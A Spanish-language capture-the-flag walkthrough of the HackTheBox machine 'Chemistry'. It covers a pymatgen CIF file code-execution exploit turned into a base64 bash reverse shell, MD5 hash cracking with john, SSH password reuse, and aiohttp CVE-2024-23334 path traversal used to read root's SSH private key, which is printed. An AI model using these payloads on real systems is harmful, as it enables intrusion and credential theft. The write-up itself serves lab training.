Chemistry – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Chemistry’ Avatar


Resumen Link to heading

“Chemistry” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web el cual nos permite subir archivos CIF. Somos capaces de encontrar un advisory en Github para este tipo de archivos, el cual advierte de una posible ejecución remote de comandos (RCE); lo que nos permite ganar acceso a la máquina víctima. Una vez dentro, encontramos un archivo de bases de datos, extraemos su contenido y crackeamos la contraseña para un usuario válido en el sistema. Además, encontramos un servidor web interno el cual está siendo ejecutado por root. Este servicio interno está usando una versión vulnerable de Aiohttp -una librería para Python- a CVE-2024-23334. Esta vulnerabilidad nos permite leer archivos del sistema. Dado que el servicio web está siendo ejecutado por root, somos capaces de extraer su key de SSH y ganar así control total del sistema.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.38

El escaneo sólo muestra 2 puertos abiertos: 22 SSH y 5000 (inicialmente un servicio desconocido).

Aplicando algunos scripts de reconocimiento con la flag -sVC sobre estos puertos obtenemos:

❯ sudo nmap -sVC -p22,5000 10.10.11.38

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 03:52 -03
Stats: 0:01:51 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.11.38
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Wed, 23 Oct 2024 06:52:38 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
<SNIP>

Del output podemos ver texto Werkzeug/3.0.3 Python/3.9.5 para el servicio del puerto 5000. Por lo que asumo que este puerto está corriendo un servicio usando Flask y, por ende, un servidor web en aquel puerto.

Visitando http://10.10.11.38:5000 muestra una página web que se titula CIF Analyzer:

Chemistry 1

Registramos una nueva cuenta de usuario con credenciales simples y tenemos así acceso a un nuevo panel (con ruta /dashboard):

Chemistry

La página provee un archivo de ejemplo example.cif, el cual puede ser descargado clickeando en el botón here. Este archivo parece ser un simple texto ASCII:

❯ file example.cif

example.cif: ASCII text

Leyendo su contenido tenemos:

❯ cat example.cif

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Si buscamos por cif exploit en Google encontramos este advisory de Github. En resumen, podemos crear un archivo .cif el cual ejecuta código, permitiendo así un Remote Code Execution (RCE, o ejecución remota de comandos). Allí, se da el siguiente código “Proof of Concept” (PoC) de ejemplo:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1`+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Por lo que cambiamos la línea que dice:

("os").system ("touch pwned");0,0,0

A un payload para enviarnos una reverse shell:

("os").system ("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg== | /usr/bin/base64 -d | /bin/bash");0,0,0

Donde estamos pasando un payload encodeado en base64 (que explicaré a continuación de dónde sale), pasando éste como pipe al binario /usr/bin/base64 para decodificarlo y luego a /bin/bash para ejecutar el contenido decodificado. El payload encodeado en base64 lo podemos crear fácilmente en una terminal, ejecutando:

❯ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | base64 -w0

YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg==

donde 10.10.16.2 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat.

Nota
En el payload pasamos los binarios base64 y bash como sus rutas absolutas /usr/bin/base64 y /bin/bash, respectivamente, porque de otra manera el payload no funciona en esta máquina (lo cual no quiere decir que siempre sea así, a veces hay que jugar y probar 😉)

Nuestro archivo .cif queda entonces como:

data_5yOhtAoR  
_audit_creation_date            2018-06-08  
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"  
  
loop_  
_parent_propagation_vector.id  
_parent_propagation_vector.kxkykz  
k1 [0 0 0]  
  
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1`+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzQ0MyAwPiYxIg== | /usr/bin/base64 -d | /bin/bash");0,0,0'  
  
  
_space_group_magn.number_BNS  62.448  
_space_group_magn.name_BNS  "P  n'  m  a'  "

Guardamos este archivo como rev.cif.

Subimos este archivo a la página web:

Chemistry 3

y, antes de ejecutarlo (que lo haremos clickeando en View), recordar empezar un listener con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Clickeamos en el botón View y obtenemos una shell como el usuario app en nuestro listener:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.38] 57678
bash: cannot set terminal process group (1070): Inappropriate ioctl for device
bash: no job control in this shell
app@chemistry:~$

Además del usuario app, podemos ver otro usuario llamado rosa:

app@chemistry:~$ ls -la /home

ls -la /home
total 16
drwxr-xr-x  4 root root 4096 Jun 16 23:10 .
drwxr-xr-x 19 root root 4096 Oct 11 11:17 ..
drwxr-xr-x  8 app  app  4096 Oct  9 20:18 app
drwxr-xr-x  5 rosa rosa 4096 Jun 17 01:51 rosa

Buscando por rosa de manera recursiva en el directorio home de este usuario obtenemos:

app@chemistry:~$ grep -r "rosa" ~ 2>/dev/null

<SNIP>
Binary file /home/app/.local/lib/python3.9/site-packages/matplotlib/__pycache__/_color_data.cpython-39.pyc matches
/home/app/.local/lib/python3.9/site-packages/matplotlib/_color_data.py:    'rosa': '#fe86a4',
Binary file /home/app/instance/database.db matches

Hay un archivo database.db con el nombre del usuario que buscamos dentro de éste.

Podemos usar grep junto con la flag -a para leer contenido de archivos binarios y ver dónde aparece la palabra rosa en la base de datos:

app@chemistry:~$ grep -a "rosa" /home/app/instance/database.db

eusebio6cad48078d0241cca9a7b322ecd073b3)p/instanMtaniaa4aa55e816205dc0389591c9f82f43bbMvictoriac3601ad2286a4293868ec2a4bc606ba3)Mpeter6845c17d298d95aa942127bdad2ceb9b*Mcarlos9ad48828b0955513f7cf0f7f6510c8f8*Mjobert3dec299e06f7ed187bac06bd3b670ab2*Mrobert02fcf7cfc10adc37959fb21f06c6b467(Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'Mapp197865e46b878d9e74a0346b6d59886a)Madmin2861debaf8d99436a10ed6f75a252abf
roberrosaapp    admin

No podemos ver mucho.

Para tener una mejor visión de este archivo, podemos traer una copia de esta base de datos a nuestra máquina de atacantes. Dado que la máquina víctima tiene instalado Python, empezamos un servidor temporal HTTP por el puerto 8000 iniciando éste en el mismo directorio donde se encuntra localizado el archivo de base de datos:

app@chemistry:~$ cd /home/app/instance/

app@chemistry:~/instance$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y, desde nuestra máquina de atacantes, descargamos el archivo usando wget:

❯ wget http://10.10.11.38:8000/database.db

--2024-10-23 04:39:05--  http://10.10.11.38:8000/database.db
Connecting to 10.10.11.38:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20480 (20K) [application/octet-stream]
Saving to: ‘database.db’

database.db                                100%[=======================================================================================>]  20.00K  43.8KB/s    in 0.5s

2024-10-23 04:39:06 (43.8 KB/s) - ‘database.db’ saved [20480/20480]

Luego, usamos SQLite y el comando .dump para ver el contenido de este archivo:

❯ sqlite3 database.db

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.

sqlite> .dump

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE structure (
        id INTEGER NOT NULL,
        user_id INTEGER NOT NULL,
        filename VARCHAR(150) NOT NULL,
        identifier VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        FOREIGN KEY(user_id) REFERENCES user (id),
        UNIQUE (identifier)
);
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
INSERT INTO user VALUES(5,'jobert','3dec299e06f7ed187bac06bd3b670ab2');
INSERT INTO user VALUES(6,'carlos','9ad48828b0955513f7cf0f7f6510c8f8');
INSERT INTO user VALUES(7,'peter','6845c17d298d95aa942127bdad2ceb9b');
INSERT INTO user VALUES(8,'victoria','c3601ad2286a4293868ec2a4bc606ba3');
INSERT INTO user VALUES(9,'tania','a4aa55e816205dc0389591c9f82f43bb');
INSERT INTO user VALUES(10,'eusebio','6cad48078d0241cca9a7b322ecd073b3');
INSERT INTO user VALUES(11,'gelacia','4af70c80b68267012ecdac9a7e916d18');
INSERT INTO user VALUES(12,'fabian','4e5d71f53fdd2eabdbabb233113b5dc0');
INSERT INTO user VALUES(13,'axel','9347f9724ca083b17e39555c36fd9007');
INSERT INTO user VALUES(14,'kristel','6896ba7b11a62cacffbdaded457c6d92');
INSERT INTO user VALUES(15,'gunzf0x','7a73087e50057ec71981653afc3ac2b1');
COMMIT;

Tenemos muchos hashes.

Usando hash-identifier, estos son, posiblemente, hashes de tipo MD5:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: 2861debaf8d99436a10ed6f75a252abf

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

Esto se puede saber también porque los hashes tienen 32 caracteres de largo, algo característico para los hashes de tipo MD5.

Podemos guardar el hash del usuario rosa (que vimos que existía en el sistema) en un archivo llamado rosa_hash. Luego, a través de un ataque de Brute Force Password Cracking (crackear la contraseña por medio de fuerza bruta) con john usando el diccionario rockyou.txt, resulta en:

❯ cat rosa_hash

63ed86ee9f624c7b14f1d4f43dc251a5

❯ john --wordlist=/usr/share/wordlists/rockyou.txt rosa_hash --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorniosrosados (?)
1g 0:00:00:00 DONE (2024-10-23 04:45) 2.941g/s 8769Kp/s 8769Kc/s 8769KC/s unihmaryanih..unicornios2805
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Tenemos una contraseña: unicorniosrosados.

Podemos revisar si esta contraseña funciona para este usuario a través de SSH con NetExec:

❯ nxc ssh 10.10.11.38 -u 'rosa' -p 'unicorniosrosados'

SSH         10.10.11.38     22     10.10.11.38      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.38     22     10.10.11.38      [+] rosa:unicorniosrosados  Linux - Shell access!

Funciona.

Podemos conectarnos como rosa a través de SSH:

❯ sshpass -p 'unicorniosrosados' ssh -o stricthostkeychecking=no rosa@10.10.11.38

<SNIP>
rosa@chemistry:~$ whoami
rosa

Podemos extraer la flag de usuario en el directorio home de este usuario.


Root Link to heading

Cuando estaba intentando pasar el archivo database.db con un servidor HTTP con Python inicialmente traté de iniciar el servicio en el puerto 8080. Pero obtuve un error al hacerlo:

app@chemistry:~/instance$ python3 -m http.server 8080

Traceback (most recent call last):
  File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.8/http/server.py", line 1294, in <module>
    test(
  File "/usr/lib/python3.8/http/server.py", line 1249, in test
    with ServerClass(addr, HandlerClass) as httpd:
  File "/usr/lib/python3.8/socketserver.py", line 452, in __init__
    self.server_bind()
  File "/usr/lib/python3.8/http/server.py", line 1292, in server_bind
    return super().server_bind()
  File "/usr/lib/python3.8/http/server.py", line 138, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.8/socketserver.py", line 466, in server_bind
    self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use

Por accidente, descubrí que el puerto 8080 ya estaba siendo usado. Dado que este puerto no fue detectado por el escaneo inicial con Nmap, esto llamó mi atención.

Si revisamos los puertos abiertos de la máquina (tanto externos como internos), podemos ver que, en efecto, este puerto ya está abierto (y, por tanto, siendo usado por otro servicio):

rosa@chemistry:~$ ss -nltp
State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   128                                    0.0.0.0:5000                                 0.0.0.0:*
LISTEN              0                   128                                  127.0.0.1:8080                                 0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

Adicionalmente, usando ps para revisar procesos internos siendo ejecutados en la máquina víctima, podemos ver que hay un aplicativo/archivo app.py corriendo por el usuario root, localizado en el directorio /opt:

rosa@chemistry:~$ ps aux | grep root

root           1  0.0  0.5 168140 11436 ?        Ss   06:49   0:01 /sbin/init maybe-ubiquity
root           2  0.0  0.0      0     0 ?        S    06:49   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   06:49   0:00 [rcu_gp]
<SNIP>
root         896  0.0  0.5 315104 11284 ?        Ssl  06:49   0:00 /usr/sbin/ModemManager
root        1071  0.0  1.3  35524 27776 ?        Ss   06:49   0:00 /usr/bin/python3.9 /opt/monitoring_site/app.py
root        1075  0.0  0.1   6816  2876 ?        Ss   06:49   0:00 /usr/sbin/cron -f
<SNIP>

No tenemos acceso a este archivo app.py:

rosa@chemistry:~$ ls -la /opt/monitoring_site/app.py

ls: cannot access '/opt/monitoring_site/app.py': Permission denied

Podemos revisar si el puerto interno abierto 8080 está exponiendo un servicio web usando curl en contra del localhost de la máquina víctima:

rosa@chemistry:~$ curl -s http://127.0.0.1:8080 | head -n 5

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

Dado que el contenido mostrado es HTML, podemos asumir que este servicio se trata de un sitio web interno.

Para tener acceso a este puerto interno, creamos un túnel a través de un Local Port Forwarding aprovechando de que tenemos acceso a través de SSH. Salimos de nuestra sesión actual de SSH con rosa y volvemos a loguear; pero esta vez lo hacemos conviertiendo el puerto 8080 de la máquina víctima en el puerto 8080 de nuestra máquina de atacantes:

❯ sshpass -p 'unicorniosrosados' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 rosa@10.10.11.38

Hecho aquello, podemos abrir un navegador de internet como Firefox (o cualquier otro navegador) y visitar http://127.0.0.1:8080. Podemos ver un sitio web titulado Site Monitoring:

Chemistry 4

Site Monitoring es un nombre bastante similar al directorio en el cual se encontraba localizado el archivo app.py que estaba siendo ejecutado por root. Por lo que asumo que este servicio está siendo ejecutado por root.

No obstante, mucho de los botones en la página web no funcionan (simplemente redirigen al directorio /#). Lo que podemos hacer es entonces usar cURL de nuevo contra el sitio web interno, pero esta vez usamos la flag -I para ver los headers (cabeceras) y ser capaces de ver en qué esta corriendo este nuevo servicio web:

rosa@chemistry:~$ curl -I http://127.0.0.1:8080

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Wed, 23 Oct 2024 08:00:14 GMT
Server: Python/3.9 aiohttp/3.9.1

Está usando AioHTTP:

Información
Aiohttp is a Python library that can make asynchronous web services and applications that work fast and are scalable.
En resumen, es una librería de Python para correr aplicaciones de manera asíncrona.

Dado que el output muestra una versión, buscando por aiohttp/3.9.1 exploit nos lleva a este repositorio de Github, donde dan un script para una vulnerabilidad catalogada como CVE-2024-23334; la cual es una vulnerabilidad de tipo Directory Traversal. En corto, leyendo el script exploit.sh dado en el repositorio, la vulnerabilidad permite hacer una petición a la ruta:

curl -s --path-as-is "<url><payload-traversal><file>"

Lo que nos permite leer archivos.

De manera que corremos este script en nuestra máquina víctima. Pero necesitamos un directorio válido para éste. Yendo a la página web http://127.0.0.1:8080 en un navegador de internet y ver su código fuente (o viendo éste a través de curl), podemos ver un directorio llamado assets:

!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Monitoring</title>
    <link rel="stylesheet" href="/assets/css/all.min.css">
    <script src="/assets/js/jquery-3.6.0.min.js"></script>
    <script src="/assets/js/chart.js"></script>
    <link rel="stylesheet" href="/assets/css/style.css">
    <style>
    h2 {
      color: black;
      font-style: italic;
    }
<SNIP>

Subsecuentemente, ejecutamos:

rosa@chemistry:~$ curl -s --path-as-is "http://127.0.0.1:8080/assets/../../../../../../../etc/passwd"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

Funcionó.

Dado que este servicio está siendo ejecutado por root, podemos leer cualquier archivo en el sistema. De manera que podemos chequear si el usuario root tiene una key para SSH como id_rsa (o podríamos simplemente leer el archivo /root/root.txt… pero eso es aburrido). Al tratar de leer esta key, que usualmente está localizada en la ruta /root/.ssh, tenemos:

rosa@chemistry:~$ curl -s --path-as-is "http://127.0.0.1:8080/assets/../../../../../../../root/.ssh/id_rsa"

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Obtenemos una key id_rsa.

Copiamos el contenido de ésta en nuestra máquina de atacante, le asignamos permisos de ejecución y la usamos para conectarnos a través de SSH como el usuario root:

❯ nvim root_id_rsa

❯ chmod 600 root_id_rsa

❯ ssh -i root_id_rsa root@10.10.11.38

<SNIP>
Last login: Fri Oct 11 14:06:59 2024
root@chemistry:~# whoami

root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking